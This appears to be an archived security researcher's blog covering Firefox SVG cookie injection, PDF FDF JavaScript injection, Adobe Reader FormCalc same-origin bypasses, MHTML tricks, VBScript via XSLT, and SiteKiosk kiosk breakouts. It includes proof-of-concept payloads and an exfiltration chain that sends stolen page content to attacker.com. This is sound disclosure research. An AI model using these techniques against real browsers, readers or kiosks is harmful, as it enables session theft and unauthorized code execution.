Tuesday, December 6, 2016

Firefox - SVG cross domain cookie vulnerability

SVG - Setting cookies cross domain via img tag

I recently read that browsers allow to use meta tags to set cookies. I am not sure if I just forgot about this feature or never used it before. As I played with SVG in the past I decided to give it a try. 
The SVG standard does not include the meta tag but it supports the foreignobject tag:

The <foreignObject> SVG element allows for inclusion of a foreign XML namespace which has its graphical content drawn by a different user agent.

An simple example taken from mdn shows how to use the XHTML namespace inside a SVG file:
<foreignObject width="100" height="50"
<!-- XHTML content goes here -->
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>Here is a paragraph that requires word wrap</p>

Setting the cookie

I adapted the example and pointed the Browser to the following SVG:
<svg xmlns='http://www.w3.org/2000/svg'>
<circle r='100'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<meta http-equiv='Set-Cookie' content='ppp=qqq' />
The hosting domain now has a cookie ppp=qqq.
The next step was to try, what will happen if another domain is loading this SVG file:
// Domain: http://example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie.svg">
Sadly the cookie was set for attacker.com, not for example.com.

Redirects + data uris

The final trick to make things work was to use the data: protocol handler and redirects.
Assume the following code on the domain example.com
<!DOCTYPE html>
<img src="http://attacker.com/cookie">
The webserver at attacker.com uses the following response code:

HTTP 302 Found
Location: data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg'><circle r='100'></circle><foreignObject><html xmlns='http://www.w3.org/1999/xhtml'><meta http-equiv='Set-Cookie' content='ppp=qqq' /></html></foreignObject></svg>

As soon as I opened this test case in Firefox, a cookie was set for example.com. This can introduce a lot of different vulnerabilities for web pages, which allow to include images from external/third party sites.
Another issue popped up during the investigation of the issue via the firefox team, which can be read here as soon it is public:

The bug bounty decision is still in progress.

I have to thank my Cure53 mates, who helped playing with this vulnerability (especially Masato)

Sunday, October 23, 2016

PDF - How to steal PDFs by injecting JavaScript


Quite some time has passed since my last blog post, so I decided to present a nice feature of PDF. I will use a made up example to demonstrate how to inject JavaScript into a static PDF, which does not contain any attacker controlled data.
This bug was fixed on January 10, 2017.
Adobe Reader now displays a warning dialog for injected JavaScript via Additional Action.

The scenario

The EB or "example Bank" at example.com offers a member area for customers. After an user is logged in he can view PDFs, which contain important account information. One of the PDFs is available via http://example.com/data.pdf. 
How can an attacker inject JavaScript into this PDF, assuming that the victim is logged in, and steal it?

Injection Point: Welcome Open Parameters

Normally internal PDF features are used to load external content via one of the action types or JavaScript, which offers different function calls like submitForm to load external content. 
But as stated above, the PDF is static and the attacker can't influence it at all. 
Thankfully PDF supports a list of URL parameters called open parameters
Most parameters are pretty boring besides the last one in the list:


Specifies an FDF file to populate form fields in the PDF file being opened. For example:
Note: The fdf parameter should be specified last in a URL.

FDF? It could be that some of you are not familiar with this file type so lets talk about the form data format:

What is: XDP,XFDF and FDF?

I am not going to talk much about XDP, as it will not be used for the attack, but here is the description taken from Wikipedia:

Wikipedia: "XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container."

This feature was mostly used to evade AV detection:


XFDF is the XML version of FDF. As it only contains a subset of FDF, I won't discuss it. 
Simply speaking FDF can contain JavaScript, Form Data, Annotations or even complete PDF Pages (although I never managed to make this feature work).
A sample structure looks like this: 

1 0 obj
/FDF <<
/JavaScript << 
/After (app.alert('after'))
/Doc [
    ] >>
        <</T(Street)/V(345 Park Ave.)>>
        <</T(City)/V(San Jose)>>
/Root 1 0 R


The general structure of FDF is the same as PDF. It needs a header eg. %FDF-<version> or the trailer object to specify the start objects. This example already shows two possible Keys, JavaScript and Fields. The Fields key allows it to specify a value for an existing form field in the existing PDFs. The JavaScript key allows to include JavaScript, which is executed in the loading PDF. The After key is executed as soon as the whole FDF is imported. The Doc key defines an array, which contains additional JavaScript scripts to be added to those defined in the JavaScript entry of the document’s name dictionary. So all the necessary ingredients for a working attack are there, right? Wrong! This is what happens if the following FDF is loaded in a PDF:

URL: http://example.com/fdf/asd.pdf#FDF=http://example.com/x_adat.fdf

/* English: JavaScript was blocked, to protect against security risk. */

This makes the JavaScript key useless for an attacker as the victim will not allow the script to run.
Let's keep reading the FDF specification.


As I already mentioned FDF supports annotation. There are a lot of different annotations, the most known one being the comment annotation. Additionally you can add files, add sounds, stamps or strike-through text:

These annotations are not interesting regarding their functionality (besides the movie and screen annotations, as these allow to load flash files), but FDF supports a field called Additional Actions for annotations. This field allows to execute specific actions based on trigger events. PDF supports a lot of different events, the most useful for annotation is called PO: "An action to be performed when the page containing the annotation is opened."
By combining this event + the JavaScript action we have another way to inject JavaScript. The following FDF uses the FreeText annotation to add a JavaScript action to it:

1 0 obj
<</FDF<</Annots[2 0 R]
2 0 obj
/C[1.0 1.0 1.0]
/DA(0.898 0.1333 0.2157 rg /Helv 12 Tf)
/DS(font: Helvetica,sans-serif 12.0pt; text-align:left; color:#E52237 )
/F 4
/Page 0
/RC(<?xml version="1.0"?><body xmlns="http://www.w3.org/1999/xhtml" xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/" xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"  style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\
al;font-family:Helvetica,sans-serif;font-stretch:normal"><p dir="ltr"><span style="font-family:Helvetica">Hjj</span></p></body>)
/Rect[188.895 758.279 222.252 794.679]
/AA 8 0 R

8 0 obj
/PO <<
/S /JavaScript
                /JS (app.alert(2);)

<</Root 1 0 R>>


Let's load it: 
URL: http://example.com/data.pdf#FDF=http://example.com/fdf/test2.fdf

As you can see the FreeText annotation is displayed and therefore JavaScript is executed inside the PDF. If you want to hide the injected annotation, modify the following key:

/Rect[188.895 758.279 222.252 794.679] ==> 
/Rect[0 0 0 0]

Adobe reader does not show any warning dialog so an attacker can send the following link to a logged in victim to steal his PDF information:


The JavaScript payload to actually steal the information is left as an exercise. 


The impact of this attack is reduced as the FDF needs to be on the same origin as the loading PDF. I came up with two possible scenarios to bypass/fulfill this requirement. First an open redirect vulnerability can be used to load the FDF. Adobe Reader follows redirects without any checks regarding the new location. Second the FDF allows 494 bytes before its header. Additionally the content-type is ignored. This could be used to create a polyglot, which could be uploaded to the vulnerable site. The second approach is difficult as Adobe Reader blacklists a lot of possible headers like JPG, PNG and other images. 

Friday, February 12, 2016

MHTML: x-usc - A feature from the past

What is mhtml ?

For those who have never saved a complete web page in Internet Explorer, mhtml or its extensions .mht is most likely unknown. MHTML stands for MIME Encapsulation of Aggregate HTML Documents. Wikipedia describes it as a "web page archive format used to combine in a single document the HTML code and its companion resources that are otherwise represented by external links (such as images, Flash animations, Java applets, and audio files)".
It caused some troubles in the past, but I am not talking about those problems.

mhtml: handler - Internet Explorer

The mhtml handler can be used to specify a specific file inside a .mht file. It is used like this:

<img src="mhtml:http://example.com/file.mht!/image/image.jpg">

But it can do more than this. The interesting feature is how external links are implemented inside .mht files. It uses the x-usc: directive. This directive works always, no matter what file or what web page is addressed and also in the context of html pages. All you need is to specify the mhtml: handler.
Copy & paste the following url into the address bar of Internet Explorer:


Look closely at the requests IE will send. It will fetch google.com as well as bing.com, which is then displayed. This can be concatenated even more:


Side Note: Edge does not recognize mhtml: via Copy&Paste. But when you change the location via JavaScript to a mhtml: uri, it works the same as in IE.

Of course this feature can be used in img tags, iframe, embed etc. Also any redirects in any of the concatenated web sites will be followed.

Have Fun playing with this feature, I have not discovered any important vulnerability so far :/

Tuesday, May 26, 2015

PDF - Mess with the web

PDF - Mess with the web

In this post I am going to talk about the vulnerabilities I found during the research for my AppSec Talk in Amsterdam.


Javascript execution via GotoE

PDF supports a lot of different Actions. These actions can be used to execute PDFs Javascript, change the location of the document, open a print dialog etc.
One of the action is the so called GotoE action. This action is able to change the location of the document eg. /GotoE /F (http://example.com). Normally handlers like javascript: are forbidden to prevent XSS attacks. This protections seems not in place if a PDF is loaded via an <embed> or <object> tag. If a PDF specifies a location like /GotoE /F (javascript:alert(location)) the javascript will be executed in the context of the embedding page.

Formcalc and header manipulation

I already wrote about the capability of formcalc to read same origin files.
The formcalc language offers another feature, which is quite powerful.
The POST function has five parameters, the last one lets you specify any http headers you want. You can set ANY header you want (besides the USER-Agent) and they replace the header a browser would send normally like a different Host header, Content-Type, Content-Length, Referer etc.

Note: You can use this so send specially crafted requests cross origin, as long as you don't care about the response. When a POST with custom headers is sent same origin but the response is a 307 temp. redirect, Acrobat Reader will follow the redirect, preserve the headers and send the request but you won't be able to read the response.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% a little bit modified to show possible header injection via formcalc

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">

    <subform name="_">
        <field id="Hello World!">
            <event activity="initialize">
                <script contentType='application/x-formcalc'>
                    Post("http://sameOrigin.com/index.html","YOUR POST DATA","text/plain","utf-8","Content-Type: Dolphin&#x0d;&#x0a;Test: AAA")

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
            /XFA 1 0 R
        /Pages <<>>


I found two possible ways to use external entities in PDF. The payloads are good documented in my presentation so I am not going to describe here more.


To protect yourself it is recommended to enable the Protected View in Adobes security settings. This will prevent the presented XXEs attacks. It is also possible to disable the Javascript support in the pdf reader. Most PDFs should work fine without the support of JS.

Tuesday, April 21, 2015

VBScript Support in Spartan

Windows 10 - Spartans forgotten VBScript support

Taken from:
 [...] Gone were document modes. Removed was the subsystem responsible for emulating IE8 layout quirks. VBScript eliminated. 

I really liked to read that Spartan finally dropped VBScript support completely. But of course I was curious if this is really the case. Maybe they have forgotten a feature, in a different context than html, which supports VBScript too.
Because you are reading this blog entry right now it is obvious they did ;)


I was playing around with XML and XSLT and the possible attack vectors when I came across this interesting msdn page: msxsl:script.

Internet Explorer and Spartan support a tag in XSLT, which is called msxsl:script. It can be used to call JScript or VBscript in XSLT and use the return value.
You don't have access to the DOM etc, but native VBScript functions still work in Spartan.

Note: IE 11 in Edge mode will execute the VBScript too.


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="xml_stylesheet.xsl" type="text/xsl"?>
  <title>Empire Burlesque</title>
  <artist>Bob Dylan</artist>

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
<msxsl:script language="VBScript" implements-prefix="user">
Function xml()
 xml = Timer
End Function
<xsl:template match="/">
  <h2><xsl:value-of select="user:xml()"/>My CD Collection</h2>
    <table border="1">
      <tr bgcolor="#9acd32">
        <th style="text-align:left">Title</th>
        <th style="text-align:left">Artist</th>
      <xsl:for-each select="catalog/cd">
        <td><xsl:value-of select="title"/></td>
        <td><xsl:value-of select="artist"/></td>

<html xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace">
<h2>55791.859375My CD Collection</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th style="text-align:left">Title</th>
<th style="text-align:left">Artist</th>
<td>Empire Burlesque</td>
<td>Bob Dylan</td>

Saturday, December 13, 2014

Multiple PDF Vulnerabilities - Text and Pictures on Steroids

@irsdl brought two import links to my attention:
2010 formcalc: http://t.co/6OfGLa9Cu1
2013 XXE + SOP Bypass: http://t.co/VZMSVg3HtN

It seems like Adobe knew about the SOP issue since January 2013.
I rediscovered the SOP Bypass + formcalc feature.

I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.
My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.
Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.

GotoE or GotoR - No Protocol Restrictions

Status: Unfixed
Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to
tell PDF to load PDFs from a different location.
Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to
file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.
In context of webbrowsers it gives you the possibility to iframe the local file system etc.
Javascript and VBscript were forbidden, so no XSS possibility :/

1 0 obj
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R

7 0 obj
 /Type /Action
/S /GoToE /F (file:///C:/) /D (Chapter 1)

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed
Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability
in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well

There are two major steps to get privileged Javascript execution:
1) Get our function marked as a trusted or trust propagator function
2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.
To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,
but one specific predefined function helped a lot. See yourself:

The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.
Lets say, this wasn't the best idea ;)
The first major step is done.
Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.
Lets have a look at the following pre defined function:

We can influence doc.path.match and let it point to our trustedproperty function.
As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.
The PoC reads a local file from C:\test.txt:

Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed
Reality: Not Fixed

This one is about a simple XXE I discovered.
I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in
XMLData.parse. It was possible to use external entities and reference them.
I read the specification and it turns out there are more functions than "parse" to read XML.
I created a simple xml file, which references an url from the same domain and parsed it with loadXML.
It worked:


The Impact is limited because
 o) it is limited to same origin
 o) HTML Pages break the xml
 o) Dynamic Entities are not supported
 o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.

But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed
Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you
how powerful/terrifying PDF can be.
Many people know that PDF supports a scripting language called Javascript but there is another one.
It is mentioned in the specification for XFA, a file type also supported by the adobe reader.
It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification
there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.
'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.
We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for
most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,
you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued
by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.


After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser
as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf
2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php
3. redirect.php redirects with 301 to http://facebook.com
4. Adobe reader will follow and read the response without looking for a crossdomain.xml.
5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too.

Tuesday, September 16, 2014

SiteKiosk - Breakout

SiteKiosk - Breakout

It has been a while since my last blog post, therefore I am going to share two possible bypasses for the software SiteKiosk on Windows. As the name suggests, it is a kiosk software ^^.
SiteKiosk is a software from Provision GmbH. It claims to have more than 250.000 installations world wide, which would make it to one of the most used software in the "Public Access Terminal Software" category.
It has a lot of features, but my only goal was to break out of the sandbox and start an external application.
In the end my findings produced a new beef modules.

Meet the enemy

Provision GmbH offers a trial version, which has nearly all features enabled. The only restriction is that it will sometimes annoy you with a 30 second timeout.
It uses IE as a rendering engine and has support for flash + PDF. So there is a lot to play with ;)

SiteKiosk greeting message

The Bypasses

Step one: Get a file on the file system
Step two: Execute it!

Getting a file on the system

After some tests it turned out that SiteKiosk is pretty good at blocking any dialogs which are triggered by changing the location. It also blocks all of the handlers I tested like "its:" and "file:". Additionally it checks iframes too and blocks any dialogs.
But javascript is powerful and with this "power" comes the possibility to trigger downloads ;).
The function I am talking about is window.navigator.msSaveOrOpenBlob.
The first parameter is a blob, which represents the data. The second parameter is the file name

bb = new MSBlobBuilder();
bb.append("THE DATA");

Click Download and the first step is done.

But there is another bypass, which is also really simple. I thought if javascript is able to trigger downloads, there is most likely another language, maybe a plugin, which could do the same.
Of course I am talking about flash and actionscript. Like javascript it can trigger a download dialog, which is not blocked by the sitekiosk sandbox. I will give an example code at the end of the text.
Next step, find a place to save the file and execute it.

Execution time


So you can download file, whats next? There are different things you can do. In case of a download triggered by javascript, you need to find a location where you can save and execute an executable. I chose "C:\users\public\downloads". Most of the time the download dialog won't let you specify the location. To bypass this restriction, use shell:ProgramFiles in the address bar of the download dialog. It will change the address bar to "C:\Program Files". Now you can go back to C: and specify the location.

If you are lazy, you can trigger a download of a .hta file. HTA files are html applications, which are rendered by mshta.exe. Yes, by default it is not blocked. HTA are html files with all the power, which means they can execute any ActiveX Object. Additionally it does not matter where you save them, because they are interpreted by mshta.exe and not executed in the location they are saved (in contrast to .exe).


In case of flash you will see that after finishing the download there is no no run button and no dialog at all. In contrast to JavaScript, this behavior makes it more difficult to execute a file.
Another problem is that you can't do a double click in a download window, so you can't download a .exe, reopen the download window and double click it. But there is a way around this problem too.
To execute a .exe via a flash download do the following:
  1. Trigger the download via flash. Save the exe in any location.
  2. Trigger the download again. Rename the previously downloaded exe so that it will not be overwritten by the second download. So you end up with two executables in the same location.
  3. Open the download window a last time. But instead of specifying a location to save, you drag the icon of one executable into the other one. This will start the program and the other one is treated as an argument. It is like dragging a file into notepad.exe to open it. 

This trick only works for executables. But there is another way to start interpreted files like hta:

  1. Create on your local pc a lnk (a shortcut file), which points to "C:\windows\system32\mshta.exe". Trigger the download of this file via flash.
  2. Trigger the download of your hta script file. Save it in the same location as the previous downloaded file.
  3. Open the download window. Now you drag your .hta script file into the mshta.exe.lnk file. This will pass the file to the real mshta.exe, which is then executed. 


To protect your sitekiosk application you need to do 2 things.
First you need to block all possible script applications like mshta. This can be done with the System Security Assistent.
Second you need to lock down all location where it is possible to store and execute files. An example is C:\users\public\downloads.